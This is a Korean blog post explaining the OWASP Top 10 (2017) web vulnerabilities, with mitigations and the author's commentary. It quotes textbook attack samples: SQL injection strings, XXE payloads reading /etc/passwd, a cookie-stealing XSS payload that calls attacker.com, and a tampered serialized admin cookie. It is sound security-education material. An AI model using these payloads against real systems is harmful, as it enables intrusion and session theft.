OWASP top 10대 웹 보안 취약점에 대해서 정리해보도록 하지요. OWASP( The Open Web Application Security Project )는 오픈소스 웹 어플리케이션 보안 프로젝트로 소프트웨어 보안을 개선하기 위한 비영리 재단입니다.
2001년 12월 1일에 시작된 OWASP 재단이며 이제 20년이 넘어가는 역사가 깊은 미국 비영리 자선 단체입니다. 이 곳에서 보안 취약점 중에서 빈도가 많고 보안 취약점 리스크가 큰 것 10가지를 선정하여 2004년부터 2017년까지 3년 주기로 OWASP TOP 10에 대해서 발표했는데요.
2021년이 지났지만 아직 개정되지 않고 2017년이 가장 최신판인 것은 취약점에 대한 분류가 어느정도 자리를 잡은 것으로 이해가 됩니다. 10가지 개념에 대해서 완벽하게 이해하고 시큐어 코딩을 하거나 설계를 할 수 있다면 거의 취약점이 존재하지 않는 사이트를 구축할 수 있을 것 같습니다.
또, 사실상 글로벌 어플리케이션 보안 업계 표준으로 모의 해킹 진단과 보안 취약점 진단에 기본이 되니 개발자라면 응당 숙지해두어야 할 내용입니다.
하나씩 정리해보죠.
OWASP TOP 10 2013 vs OWASP TOP 10 2017
2013년 대비 변경된게 무엇인지 살펴보죠.
다른 것들은 병합되었는데 A8과 A10이 삭제되었네요. A8 CSRF 크로스 사이트 요청 변조는 프레임워크나 라이브러리 CMS에서 별도 처리를 하지 않더라도 막히기 때문에 top 10에서 내려간 것으로 보입니다. A10인 검증되지 않은 리다이렉트 포워드는 중요성이 2017에 지정한 A10인 불충분한 로깅, 모니터링에 비해 더 떨어진다고 판단이 된 것 같군요.
2017 최신 버전으로 한번 알아봅시다. ( 2021년이지만... )
1. A1 : 2017 - 인젝션(Injection)
SQL, OS, XXE, LDAP 인젝션 취약점은 신뢰할 수 없는 데이터가 명령어나 쿼리문의 일부분으로써, 인터프리터로 보내질 때 발생합니다. 공격자의 악의적인 데이터는 예기치 않은 명령을 실행하거나 올바른 권한 없이 데이터에 접근하도록 인터프리터를 속일 수 있습니다.
좀 더 쉽게 외부에서 주입 가능한 요소들에 대한 악의적인 데이터를 발생하여 보냈고 이에 대한 방어, 예외, 검증 처리가 없는 경우 인젝션 결함이 발생합니다.
인젝션(Injection) 공격 시나리오 예제
#1
String query = "SELECT * FROM accounts WHERE
custID='" + request.getParameter("id") + "'";
#2
// (예시, Hibernate Query Language (HQL)):
Query HQLQuery = session.createQuery("FROM accounts
WHERE custID='" + request.getParameter("id") + "'");
#3
- 사용자 정보조회 페이지 id 파라미터에 ' or '1'='1 를 추가하여 모든 사용자 조회 시도
http://example.com/app/accountView?id=' or '1'='1
인젝션 보안 대책
프로그래밍에서 인터프리터 식의 조립을 피하고( + 를 이용한 문자열 조립 등 ) 안전한 API를 이용한다던지 ORM 라이브러리를 사용하도록 합니다. 사실 제가 자바 진영에 있고 자바 왕국에 서식하고 있기 때문에 preparestatement를 이용하기 만 해도 되고 그마저도 최근에 직접 사용하지 않고 라이브러리 혹은 프레임워크를 이용하기 때문에 자연적으로 대비가 된다고 생각하면 됩니다.
일부 프레임워크나 라이브러리를 사용하지 않는 언어, 시스템에서 주의를 요합니다. 사용자 입력 값을 통해 SQL 문을 직접 조립하는 프로그램이 있다면? 즉시 안전한 방법으로 고치셔야 합니다.
2. A2:2017 - 취약한 인증(Broken Authentication)
인증 및 세션 관리와 관련된 애플리케이션 기능이 종종 잘못 구현되어 공격자들이 암호, 키, 세션 토큰을 위험에 노출시킬 수 있거나 일시적 또는 영구적으로 다른 사용자의 권한 획득을 위해 구현 상 결함을 악용하도록 허용합니다.
단순한 패스워드 : 말 그대로 무차별 대입 암호 인증이 가능하다거나 비밀번호가 '1111', 'admin' , 'password', 'super' 이런 간단한 단어나 조합을 사용하는 경우도 포함됩니다.
다중 인증이 없는 경우 : 로그인이나 주요 트랜잭션 처리 시 OTP나 이메일 인증, SMS 인증 등과 같은 다중 인증 방식을 취해야 합니다.
인증 만료 시간 : 세션 인증 만료 시간 TTL(Time To Live) 이 정해져 있어야 합니다. 공용 컴퓨터로 로그인 시 만료시간이 없다면 계속해서 로그인 상태로 남아있게 되어 타 사용자에 손에 계정이 넘어갈 수 있습니다.
3. A3:2017 - 민감한 데이터 노출(Sensitive Data Exposure)
다수의 웹 애플리케이션과 API는 금융 정보, 건강 정보, 개인 식별 정보와 같은 중요한 정보를 제대로 보호하지 않습니다. 공격자는 신용카드 사기, 신분 도용 또는 다른 범죄를 수행하기 위해 보호가 취약한 데이터를 훔치거나 수정할 수 있습니다. 중요한 데이터는 저장 또는 전송할 때 암호화 같은 추가 보호 조치가 없으면 탈취 당할 수 있으며, 브라우저에서 주고 받을 때 각별한 주의가 필요합니다.
민감 데이터 평문 처리 : 개인정보, 민감정보 등을 평문 http를 통해 전송하는 경우 포함. 특히 개인정보와 같은 민감정보는 E2E 암호화 처리를 위하여 별도 솔루션을 적용. 모바일이나 PC로 주민등록번호를 입력 할때 별도 입력 패드가 발생하여 입력하는 것들이 대표적인 E2E 암호화 사례.
4. A4:2017 - XML 외부 개체(XXE : XML External Entities)
오래되고 설정이 엉망인 많은 XML 프로세서들은 XML 문서 내에서 외부 개체 참조를 평가합니다. 외부 개체는 파일 URI 처리기, 내부 파일 공유, 내부 포트 스캔, 원격 코드 실행과 서비스 거부 공격을 사용하여 내부 파일을 공개하는데 사용할 수 있습니다.
사실 악의적인 XML 업로드를 해서 서버를 공격한다고 하는데 A4에 있을 만큼 느껴지지는 않네요. 한국에서만 사용이 적은 데이터 포맷과 방법인지 모르겠네요. 이런게 있다고 알고 넘어갑니다.
XXE 공격 시나리오 예제
시나리오 #1: 공격자는 서버에서 데이터를 가져오려고 시도합니다:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
시나리오 #2: 공격자는 ENTITY 라인을 변경하여 서버의 사설망을
찾으려 합니다. :
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
시나리오 #3: 공격자는 잠재적으로 무한 파일을 포함하여 서비스
거부 공격을 시도합니다:
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
보안대책
데이터 형식 변경, XML 라이브러리 패치, SOAP 업그레이드, DTD 처리 비활성화, XML, XSL 파일업로드 시 XSD 검증기 등
5. A5:2017 - 취약한 접근 통제(Broken Access Control)
인증된 사용자가 수행할 수 있는 작업에 대한 제한이 제대로 적용되어 있지 않습니다. 공격자는 이러한 결함을 악용하여 다른 사용자의 계정에 접근하거나, 중요한 파일을 보거나, 다른 사용자의 데이터를 수정하거나, 접근 권한을 변경하는 등 권한 없는 기능과 데이터에 접근할 수 있습니다.
http://example.com/app/accountInfo?acct=nhj12311
아주 간단한 예시이지만 과거 농협이 한번 뚫렸던 방법입니다. 사용자 계정 정보를 보여주는 화면에 대해서 ID를 파라미터로 받아서 처리하게끔 만든 것이죠. 이런식으로 사용자 입력이나 이벤트로 인해 들어온 값들은 모두 적절한 권한이 있는지 검증을 해주어야 합니다.
실제로 모의 해킹이나 보안 취약점 점검을 해보게 되면 많이 걸리는 취약점 중에 하나입니다.
6. A6:2017 - 잘못된 보안 구성(Security Misconfiguration)
잘못된 보안 구성은 가장 흔하게 보이는 이슈입니다. 취약한 기본 설정, 미완성 (또는 임시 설정), 개방된 클라우드 스토리지, 잘못 구성된 HTTP 헤더 및 민감한 정보가 포함된 장황한 에러 메시지로 인한 결과입니다. 모든 운영체제, 프레임워크, 라이브러리와 애플리케이션을 안전하게 설정해야 할 뿐만 아니라 시기 적절하게 패치/ 업그레이드를 진행해야 합니다.
이것도 많이 보이는 취약점 중에 한개입니다. 샘플 소스가 운영 환경에 올라갔다던지 디렉토리 리스팅이 활성화되어서 디렉토리 구조가 다 보인다던지, 서비스 응답 메세지가 과도한 정보를 제공한다던지 ( 스택 트레이스 같은 ..., 서버 에러 메세지도 포함 )
7. A7:2017 - 크로스 사이트 스크립팅(XSS : Cross-Site Scripting)
XSS 취약점은 애플리케이션이 올바른 유효성 검사 또는 필터링 처리 없이 새 웹 페이지에 신뢰할 수 없는 데이터를 포함하거나, 자바스크립트와 HTML을 생성하는 브라우저 API를 활용한 사용자 제공 데이터로 기존 웹 페이지를 업데이트할 때 발생합니다. XSS는 피해자의 브라우저에서 공격자에 의해 스크립트를 실행시켜 사용자 세션을 탈취할 수 있게 만들고, 웹 사이트를 변조시키고, 악성 사이트로 리다이렉션할 수 있도록 허용합니다.
실제로 쉽게 이해해본다면 사용자 입력을 문법에 맞춘 스크립트를 넣어 사용자 화면에서 스크립트를 동작시키는 것이 크로스 사이트 스크립트 핵심입니다.
공격 시나리오 예제
시나리오 #1: 이 애플리케이션은 유효성 검사 또는 필터링
처리없이 다음의 HTML 조각의 구성 내 신뢰할 수 없는 데이터를
사용합니다:
(String) page += "<input name='creditcard' type='TEXT'
value='" + request.getParameter("CC") + "'>";
공격자는 브라우저 내에서 다음과 같이 ‘CC’ 파라미터를
조작합니다:
'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.
이 공격으로 인해 피해자의 세션 ID가 공격자의 웹 사이트로
전송되어 공격자가 사용자의 현재 세션을 가로챌 수 있습니다.
주: 공격자는 XSS를 사용하여 애플리케이션이 사용할 수 있는
자동화된 크로스 사이트 요청 변조(CSRF) 방어를 무력화할 수
있습니다.
사용자 화면에서 스크립트가 동작하게 되면 대량 참사가 벌어지긴 하지만 순위가 7위까지 떨어진 이유는 최근 각종 프레임워크나 라이브러리 등에서 자동적으로 막아주는 기능이 있어서겠네요.
스크립트 삽입을 위한 특수문자를 자동으로 치환해주기 때문이죠. 프레임워크 라이브러리가 없다면 저런 특수문자들을 치환해주는 기능들을 꼭 넣어주어야 합니다. xssfilter 와 같은 검색을 해보면 다수 나오니까 쉽게 참고하실수 있습니다.
8. A8:2017 - 안전하지 않은 직렬화()
안전하지 않은 역직렬화는 종종 원격 코드 실행으로 이어집니다. 역직렬화 취약점이 원격 코드 실행 결과를 가져오지 않더라도 이는 권한 상승 공격, 주입 공격과 재생 공격을 포함한 다양한 공격 수행에 사용될 수 있습니다.
직렬화는 객체 정보를 쿠키나 파일 등으로 정보를 일관성있게 저장, 전송하기 위한 수단으로 생각하면 될 것 같습니다. 여기서 직렬화 하고 역 직렬화 할 때 정보에 대한 변경, 위변조가 가능한 경우 치명적인 문제가 발생할 수 있습니다.
시나리오 #2: PHP 포럼은 PHP 객체 직렬화를 사용하여 사용자의 사용자
ID, 역할, 암호, 해시 및 기타 상태를 포함하는 “super“ 쿠키를
저장합니다:
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
공격자는 직렬화된 객체를 변경하여 관리자 권한을 부여합니다:
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
여기서 보안 대책은 디지털 서명과 같은 무결성 검사를 구현, 엄격한 제약 조건 구현, 모니터링, 지속적 반복 시 경고 등이 있겠습니다.
9. A9:2017 - 알려진 취약점이 있는 구성요소 사용
라이브러리, 프레임워크 및 다른 소프트웨어 모듈 같은 컴포넌트는 애플리케이션과 같은 권한으로 실행됩니다. 만약에 취약한 컴포넌트가 악용된 경우, 이는 심각한 데이터 손실을 일으키거나 서버가 장악됩니다. 알려진 취약점이 있는 컴포넌트를 사용한 애플리케이션과 API는 애플리케이션 방어를 약화시키거나 다양한 공격과 영향을 주게 합니다.
우리가 어플리케이션을 구성하기 위해 많은 프레임워크, 라이브러리를 사용하게 되는데 여기서 발생하는 취약점들이 제때 패치가 되지 않거나 공식적인 루트가 아닌 악의적으로 위변조된 라이브러리를 사용한다거나 하는 경우 매우 위험한 상태에 노출될 수 있습니다. 전에 스프링과 같이 일반적으로 사용되었던 스트럿츠 프레임워크에서 임의 코드를 실행할수 있는 취약점이 있어서 큰 이슈가 된적도 있었죠.
결국 보안 대책은 사용하지 않는 구성요소 제거, 안전한 출처 확인, 모니터링과 같은 수동적인 방법만이 제공되는 것이 현실인데요. 프로그래밍 환경상에서 프레임워크나 라이브러리 단위로 퍼미션을 관리할수 있는 체계가 필요하지 않나 생각이 듭니다.
파일, 네트워크, 특정 장치 접근과 같은 민감한 권한에 대해서는 더욱 더 말이죠.
10. A10:2017 - 불충분한 로깅 및 모니터링
불충분한 로깅과 모니터링은 사고 대응의 비효율적인 통합 또는 누락과 함께 공격자들이 시스템을 더 공격하고, 지속성을 유지하며, 더 많은 시스템을 중심으로 공격할 수 있도록 만들고, 데이터를 변조, 추출 또는 파괴할 수 있습니다. 대부분의 침해 사례에서 침해를 탐지하는 시간이 200일이 넘게 걸리는 것을 보여주고, 이는 일반적으로 내부 프로세스와 모니터링보다 외부 기관이 탐지합니다.
불필요한 로그를 너무 많이 남기는 것도 보안에 좋지 않지만 중요한 트랜잭션(로그인, 주요 거래 ) 와 같은 로그들이 남지 않게 되어있는 것도 중요한 보안 결함을 발생시킬 수 있는 단초가 될 수 있습니다.
주관적인 요소라 정답은 없겠지만 분석을 위한 충분한 로깅을 갖추어야 합니다. 의심 거래에 대한 탐지, 대응, 모니터링이 가능한 시스템도 갖추어야 합니다. 특히 금융시스템에서는 FDS(Fraud Detecting System)와 같은 전문적 시스템이 있을 정도로 중요한 요소입니다.
OWASP 에서는 10위에 랭크되어있지만 금융에서는 1위에 있어도 이상하지 않을 만큼이죠. 이는 금융에서 KYC나 AML과도 결을 같이 해야 고려, 구축, 운영해야 합니다.
잡설
최근 보면 이런 OWASP top 10대 웹 보안 취약점에 대한 기본적인 지식 없이 시큐어 코딩을 배제한 채 많은 프로젝트들과 개발이 진행되는 것들을 보게 되는데 프로젝트 말미에 구성되는 보안취약점 진단과 이행에 많은 비용과 시간이 들게 되는 상황을 자주 경험하게 됩니다.
거기다 보안취약점 진단에서 100%를 잡아낼수가 없기 때문에 개발 조직에 시큐어 코딩 능력은 더욱 더 중요하다고 볼수 있는데 이에 대해 소홀하게 생각하는 경향들이 많이 보이는 것도 사실입니다.
전에 이런 10가지 요소들에 대해서 모의 해킹을 해볼수 있는 사이트가 있었고 거기서 인젝션과 xss, 우회 인증 등과 같은 요소들에 대한 연습을 해볼수 있었던 것들이 개념을 잡는데 큰 도움이 되었던 것 같습니다.
와이어 샤크나 피들러, 크롬 개발자 도구들을 이용해서 취약점을 분석하고 실제 발견해 내는 경험들을 말이죠. 혹시라도 비슷한 서비스가 있다면 경험해보시기를 강추드립니다. 몇년이 지나도 항상 결은 같거든요.
'dev' 카테고리의 다른 글
| ChatGPT 으로 작성해본 ChatGPT 장점, 단점, 후기 (1) | 2022.12.19 |
|---|---|
| letsencrypt ssl 인증서 : There were too many requests of a given type :: too many failed authorizations recently (0) | 2022.06.12 |
| Log4J(Log4Shell) 역대급 보안 취약점 정리(22.01.24 업데이트) (0) | 2022.01.24 |
| NETSTAT 상태 LISTEN, ESTABLISHED, CLOSE_WAIT, TIME_WAIT, FIN_WAIT_2 (0) | 2021.09.08 |
| ftp, ftps, sftp(ssh) 개념 정리 (0) | 2021.07.26 |
| GitHub Copilot - AI 페어 프로그래머, 코딩을 자동으로? (2) | 2021.07.18 |
| 깃허브 액션(github action) 에서 젠킨스로 갈아탄 이유 (1) | 2021.04.26 |
| vue.js vuetify data-table style overflow hidden not working (0) | 2021.04.23 |
